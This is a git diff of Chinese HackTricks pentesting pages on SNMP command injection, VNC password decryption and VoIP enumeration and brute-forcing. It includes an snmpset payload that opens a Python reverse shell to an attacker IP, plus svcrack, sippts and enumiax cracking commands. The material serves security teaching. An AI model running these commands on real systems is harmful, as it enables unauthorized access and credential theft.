* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# SNMP RCE # SNMP RCE
如果管理员忽视设备或服务器上SNMP的默认配置攻击者可以利用SNMP。通过在Linux操作系统上**滥用具有写权限rwcommunity的SNMP community**,攻击者可以在服务器上执行命令。 如果管理员忽视设备或服务器上的默认配置攻击者可以利用SNMP。通过在Linux操作系统上**滥用具有写权限的SNMP社区rwcommunity**,攻击者可以在服务器上执行命令。
## 使用附加命令扩展服务 ## 使用附加命令扩展服务
要扩展SNMP服务并添加额外命令可以向**"nsExtendObjects"表中添加新行**。可以使用`snmpset`命令并提供必要的参数,包括可执行文件的绝对路径和要执行的命令来实现这一点 要扩展SNMP服务并添加额外命令可以将新**行附加到“nsExtendObjects”表**。这可以通过使用`snmpset`命令并提供必要的参数来实现,包括可执行文件的绝对路径和要执行的命令:
```bash ```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \ 'nsExtendStatus."evilcommand"' = createAndGo \
@ -27,46 +28,46 @@ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
``` ```
## 注入命令以执行 ## 注入命令以执行
在 SNMP 服务上注入要运行的命令需要被调用的二进制文件/脚本的存在和可执行性。**`NET-SNMP-EXTEND-MIB`** 要求提供可执行文件的绝对路径。 向 SNMP 服务注入命令需要被调用的二进制文件/脚本的存在和可执行性。**`NET-SNMP-EXTEND-MIB`** 要求提供可执行文件的绝对路径。
为了确认注入命令的执行,可以使用 `snmpwalk` 命令枚举 SNMP 服务。**输出将显示命令及其相关细节**,包括绝对路径: 确认注入命令的执行,可以使用 `snmpwalk` 命令枚举 SNMP 服务。**输出将显示命令及其相关细节,包括绝对路径:**
```bash ```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
``` ```
## 运行注入的命令 ## 运行注入的命令
当**读取注入的命令时,它会被执行**。这种行为被称为**`run-on-read()`**。命令的执行可以在 snmpwalk 读取过程中观察到 当**注入的命令被读取时,它会被执行**。这种行为被称为**`run-on-read()`**。可以在snmpwalk读取期间观察到命令的执行
### 使用 SNMP 获取服务器 Shell ### 使用SNMP获取服务器Shell
要控制服务器并获得服务器 Shell可以使用 mxrch 开发的 Python 脚本,从 [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git) 下载 要控制服务器并获得服务器Shell可以使用mxrch开发的python脚本地址为[**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)
或者,可以通过将特定命令注入到 SNMP 中手动创建反向 Shell。这个命令由 snmpwalk 触发,建立一个反向 Shell 连接到攻击者的机器,从而控制受害者的机器。 或者可以通过将特定命令注入SNMP手动创建反向Shell。这个命令由snmpwalk触发建立与攻击者机器的反向Shell连接从而实现对受害者机器的控制。您可以安装运行此所需的先决条件
您可以安装运行此命令所需的先决条件:
```bash ```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell git clone https://github.com/mxrch/snmp-shell
cd snmp-shell cd snmp-shell
sudo python3 -m pip install -r requirements.txt sudo python3 -m pip install -r requirements.txt
``` ```
者一个反向 shell 或反向 shell
```bash ```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"' snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
``` ```
## 参考资料 ## 参考文献
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/) * [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# 5800,5801,5900,5901 - 渗透测试 VNC # 5800,5801,5900,5901 - Pentesting VNC
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 基本信息 ## 基本信息
**虚拟网络计算VNC**是一种强大的图形化桌面共享系统,利用**远程帧缓冲RFB**协议实现远程控制和与另一台计算机的协作。使用 VNC用户可以通过双向传输键盘和鼠标事件与远程计算机无缝交互。这使得实时访问成为可能并促进了通过网络进行高效远程协助或协作。 **虚拟网络计算 (VNC)** 是一个强大的图形桌面共享系统,利用 **远程帧缓冲 (RFB)** 协议实现对另一台计算机的远程控制和协作。通过 VNC用户可以通过双向传输键盘和鼠标事件与远程计算机无缝互动。这允许实时访问并促进高效的远程协助或网络协作。
VNC 通常使用端口**5800 或 5801 或 5900 或 5901** VNC 通常使用端口 **5800 或 5801 或 5900 或 5901.**
``` ```
PORT STATE SERVICE PORT STATE SERVICE
5900/tcp open vnc 5900/tcp open vnc
@ -30,22 +31,22 @@ msf> use auxiliary/scanner/vnc/vnc_none_auth
``` ```
### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#vnc) ### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#vnc)
## 使用Kali连接到VNC ## 使用Kali连接到vnc
```bash ```bash
vncviewer [-passwd passwd.txt] <IP>::5901 vncviewer [-passwd passwd.txt] <IP>::5901
``` ```
## 解密 VNC 密码 ## 解密 VNC 密码
默认**密码存储在**\~/.vnc/passwd 默认 **密码存储在**: \~/.vnc/passwd
如果你有 VNC 密码,且看起来是加密的(几个字节,就像是一个加密的密码),那么它可能是用 3des 加密的。你可以使用 [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) 获取明文密码。 如果你有 VNC 密码并且它看起来是加密的(几字节,就像可能是加密密码),它可能是用 3des 加密的。你可以使用 [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) 获取明文密码。
```bash ```bash
make make
vncpwd <vnc password file> vncpwd <vnc password file>
``` ```
你可以这样做,因为多年前已经逆向破解了用于加密明文 VNC 密码的 3DES 内部密码。\ 您之所以能够这样做是因为用于在3des中加密明文VNC密码的密码多年前已被逆向。\
对于 **Windows**,你还可以使用这个工具:[https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\ 对于**Windows**,您还可以使用此工具:[https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
也将工具保存在这里以便更方便访问: 在这里也保存了该工具以便于访问:
{% file src="../.gitbook/assets/vncpwd.zip" %} {% file src="../.gitbook/assets/vncpwd.zip" %}
@ -53,16 +54,17 @@ vncpwd <vnc password file>
* `port:5900 RFB` * `port:5900 RFB`
{% hint style="success" %}
学习和实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持HackTricks</summary>
支持 HackTricks 的其他方式: * 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果你想看到你的 **公司在 HackTricks 中被广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# VoIP渗透测试 # Pentesting VoIP
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## VoIP基本信息 ## VoIP 基本信息
要开始学习VoIP的工作原理,请查看: 要开始了解 VoIP 的工作原理,请查看:
{% content-ref url="basic-voip-protocols/" %} {% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/) [basic-voip-protocols](basic-voip-protocols/)
@ -66,7 +67,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
305 Use Proxy 305 Use Proxy
380 Alternative Service 380 Alternative Service
``` ```
**4xx—客户端错误响应** **4xx—客户端失败响应**
``` ```
400 Bad Request 400 Bad Request
401 Unauthorized 401 Unauthorized
@ -138,22 +139,22 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
607 Unwanted 607 Unwanted
608 Rejected 608 Rejected
``` ```
## VoIP枚举 ## VoIP Enumeration
### 电话号码 ### 电话号码
红队可以执行的第一步是使用OSINT工具、Google搜索或抓取网页来搜索可用电话号码以联系公司。 红队可以采取的第一步是使用OSINT工具、Google搜索或抓取网页来搜索可用电话号码以联系公司。
一旦获得电话号码,您可以使用在线服务来识别运营商: 一旦你有了电话号码,你可以使用在线服务来识别运营商:
- [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr) * [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
- [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/) * [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
- [https://www.whitepages.com/](https://www.whitepages.com/) * [https://www.whitepages.com/](https://www.whitepages.com/)
- [https://www.twilio.com/lookup](https://www.twilio.com/lookup) * [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
了解运营商是否提供VoIP服务您可以确定公司是否正在使用VoIP...此外公司可能没有雇用VoIP服务而是使用PSTN卡将其VoIP PBX连接到传统电话网络。 知道运营商是否提供VoIP服务你可以确定公司是否在使用VoIP……此外公司可能没有雇佣VoIP服务而是使用PSTN卡将自己的VoIP PBX连接到传统电话网络。
诸如音乐的自动响应通常表明正在使用VoIP。 诸如自动音乐响应等情况通常表明正在使用VoIP。
### Google Dorks ### Google Dorks
```bash ```bash
@ -189,21 +190,21 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
``` ```
### OSINT 信息 ### OSINT 信息
任何其他有助于识别正在使用的 VoIP 软件的 OSINT 枚举对于红队都是有帮助的。 任何其他有助于识别所使用的 VoIP 软件的 OSINT 枚举对红队都是有帮助的。
### 网络枚举 ### 网络枚举
- **`nmap`** 能够扫描 UDP 服务,但由于扫描的 UDP 服务数量较多,速度很慢,并且可能对这种类型的服务不太准确。 * **`nmap`** 能够扫描 UDP 服务,但由于扫描的 UDP 服务数量较多,它的速度非常慢,并且在这类服务上可能不够准确。
```bash ```bash
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
``` ```
* **`svmap`** 来自 SIPVicious (`sudo apt install sipvicious`):将定位指定网络中的 SIP 服务。 * **`svmap`** 来自 SIPVicious (`sudo apt install sipvicious`): 将在指定网络中定位 SIP 服务。
* `svmap` **易于阻止**,因为它使用 User-Agent `friendly-scanner`,但您可以修改 `/usr/share/sipvicious/sipvicious` 中的代码并进行更改。 * `svmap` **容易被阻止**,因为它使用了 User-Agent `friendly-scanner`,但你可以修改 `/usr/share/sipvicious/sipvicious` 中的代码并进行更改。
```bash ```bash
# Use --fp to fingerprint the services # Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp] svmap 10.10.0.0/24 -p 5060-5070 [--fp]
``` ```
* **`SIPPTS scan`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**** SIPPTS扫描是一个非常快速的用于UDP、TCP或TLS上的SIP服务的扫描器。它使用多线程可以扫描大范围的网络。它允许轻松指定端口范围扫描TCP和UDP使用另一种方法默认情况下将使用OPTIONS并指定不同的用户代理(等等)。 * **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS扫描是一个非常快速的SIP服务扫描器支持UDP、TCP或TLS。它使用多线程可以扫描大范围的网络。它允许轻松指示端口范围扫描TCP和UDP使用其他方法默认情况下将使用OPTIONS并指定不同的User-Agent(等等)。
```bash ```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -214,58 +215,58 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] Customized User-Agent: Cisco [!] Customized User-Agent: Cisco
[!] Used threads: 200 [!] Used threads: 200
``` ```
* **metasploit** * **metasploit**:
``` ```
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP) auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP) auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
``` ```
#### 额外网络枚举 #### 额外网络枚举
PBX还可能暴露其他网络服务例如 PBX 还可能暴露其他网络服务,例如:
- **69/UDP (TFTP)**固件更新 * **69/UDP (TFTP)**: 固件更新
- **80 (HTTP) / 443 (HTTPS)**通过Web管理设备 * **80 (HTTP) / 443 (HTTPS)**: 从网页管理设备
- **389 (LDAP)**:用于存储用户信息的替代方法 * **389 (LDAP)**: 存储用户信息的替代方案
- **3306 (MySQL)**MySQL数据库 * **3306 (MySQL)**: MySQL 数据库
- **5038 (Manager)**:允许从其他平台使用Asterisk * **5038 (Manager)**: 允许从其他平台使用 Asterisk
- **5222 (XMPP)**使用Jabber发送消息 * **5222 (XMPP)**: 使用 Jabber 发送消息
- **5432 (PostgreSQL)**PostgreSQL数据库 * **5432 (PostgreSQL)**: PostgreSQL 数据库
- 以及其他... * 以及其他...
### 方法枚举 ### 方法枚举
可以使用[sippts](https://github.com/Pepelux/sippts)中的`SIPPTS enumerate`来查找在PBX中可用的**方法** 可以使用 `SIPPTS enumerate` 从 [**sippts**](https://github.com/Pepelux/sippts) 找到 **可用的方法**
```bash ```bash
sippts enumerate -i 10.10.0.10 sippts enumerate -i 10.10.0.10
``` ```
### 分析服务器响应 ### 分析服务器响应
非常重要的是分析服务器发送给我们的标头,这取决于我们发送的消息类型和标头。使用[sippts](https://github.com/Pepelux/sippts)中的`SIPPTS send`,我们可以发送个性化消息,操纵所有头,并分析响应。 分析服务器返回给我们的头部信息非常重要,这取决于我们发送的消息和头部的类型。使用来自 [**sippts**](https://github.com/Pepelux/sippts) 的 `SIPPTS send`,我们可以发送个性化消息,操纵所有头,并分析响应。
```bash ```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
``` ```
也可以通过WebSocket 获取数据。使用 [**sippts**](https://github.com/Pepelux/sippts) 中的 `SIPPTS wssend`,我们可以发送个性化的 WS 消息。 如果服务器使用 websockets获取数据也是可能的。通过 [**sippts**](https://github.com/Pepelux/sippts) 中的 `SIPPTS wssend`,我们可以发送个性化的 WS 消息。
```bash ```bash
sippts wssend -i 10.10.0.10 -r 443 -path /ws sippts wssend -i 10.10.0.10 -r 443 -path /ws
``` ```
### 分机枚举 ### Extension Enumeration
PBX专用分支交换系统中分机是指分配给组织或企业内部电话线、设备或用户的**独特内部标识符**。分机使得可以**在组织内部有效地路由电话**,而无需为每个用户或设备分配单独的外部电话号码。 PBX私人分支交换机系统中扩展指的是**分配给组织或企业内各个**电话线路、设备或用户的唯一内部标识符。扩展使得**在组织内部高效地路由电话成为可能**,无需为每个用户或设备提供单独的外部电话号码。
- **`svwar`** 来自 SIPVicious`sudo apt install sipvicious``svwar` 是一个免费的 SIP PBX 分机扫描工具。在概念上,它类似于传统的战术拨号器,通过**猜测一系列分机或给定的分机列表**来工作 * **`svwar`** 来自SIPVicious`sudo apt install sipvicious``svwar`是一个免费的SIP PBX扩展线路扫描器。在概念上它的工作方式类似于传统的拨号器通过**猜测一系列扩展或给定的扩展列表**
```bash ```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
``` ```
* **`SIPPTS exten`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**** SIPPTS exten 用于识别 SIP 服务器上的分机。Sipexten 可以检查大型网络和端口范围 * **`SIPPTS exten`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten 识别 SIP 服务器上的扩展。 Sipexten 可以检查大范围的网络和端口
```bash ```bash
sippts exten -i 10.10.0.10 -r 5060 -e 100-200 sippts exten -i 10.10.0.10 -r 5060 -e 100-200
``` ```
* **metasploit**: 您还可以使用metasploit枚举扩展名/用户名: * **metasploit**: 你也可以使用 metasploit 枚举扩展/用户名:
``` ```
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
``` ```
* **`enumiax` (`apt install enumiax`): enumIAX** 是一种用于 Inter Asterisk Exchange 协议的**用户名暴力破解枚举器**。enumIAX 可以以两种不同的模式运行;顺序用户名猜测或字典攻击。 * **`enumiax` (`apt install enumiax`): enumIAX** 是一个 Inter Asterisk Exchange 协议 **用户名暴力破解枚举器**。enumIAX 可以在两种不同模式下操作:顺序用户名猜测或字典攻击。
```bash ```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10 enumiax -v -m3 -M3 10.10.0.10
@ -274,133 +275,139 @@ enumiax -v -m3 -M3 10.10.0.10
### 密码暴力破解 - 在线 ### 密码暴力破解 - 在线
发现了 **PBX** 和一些 **分机号/用户名** 后,红队可以尝试使用常见密码字典对一个分机号进行 **`REGISTER` 方法认证** 的尝试来进行身份验证 在发现了 **PBX** 和一些 **分机/用户名** 后,红队可以尝试通过 `REGISTER` 方法对分机进行身份验证,使用常见密码字典进行暴力破解
{% hint style="danger" %} {% hint style="danger" %}
请注意,**用户名** 可能与分机号相同,但这种做法可能会因 PBX 系统、其配置和组织偏好而有所不同... 请注意,**用户名** 可以与分机相同,但这种做法可能会因 PBX 系统、其配置和组织偏好而有所不同...
如果用户名与分机不同,您需要 **找出用户名以进行暴力破解** 如果用户名与分机不同,您需要 **找出用户名以进行暴力破解**
{% endhint %} {% endhint %}
* **`svcrack`** 来自 SIPVicious (`sudo apt install sipvicious`)SVCrack 允许您破解 PBX 上特定用户名/分机的密码。 * **`svcrack`** 来自 SIPVicious (`sudo apt install sipvicious`): SVCrack 允许您破解 PBX 上特定用户名/分机的密码。
```bash ```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
``` ```
* **`SIPPTS rcrack`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**** SIPPTS rcrack 是用于 SIP 服务的远程密码破解工具。Rcrack 可以测试不同 IP 和端口范围中多个用户的密码。 * **`SIPPTS rcrack`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack 是一个用于 SIP 服务的远程密码破解工具。Rcrack 可以在不同的 IP 和端口范围内测试多个用户的密码。
```bash ```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
``` ```
### VoIP窃听 * **Metasploit**:
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
如果您在**开放的Wifi网络**中发现VoIP设备您可以**窃取所有信息**。此外如果您在一个更封闭的网络中通过以太网连接或受保护的Wifi连接您可以执行**中间人攻击,例如**[**ARP欺骗**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)在**PBX和网关之间**以便窃取信息。 ### VoIP嗅探
在网络信息中,您可以找到用于管理设备的**web凭据**,用户**分机号****用户名****IP**地址,甚至**哈希密码**和您可以重现的**RTP数据包**以**听取对话**等等 如果你在**开放Wifi网络**中发现VoIP设备你可以**嗅探所有信息**。此外如果你在一个更封闭的网络中通过以太网连接或受保护的Wifi你可以在**PBX和网关**之间执行**MitM攻击例如** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)以嗅探信息
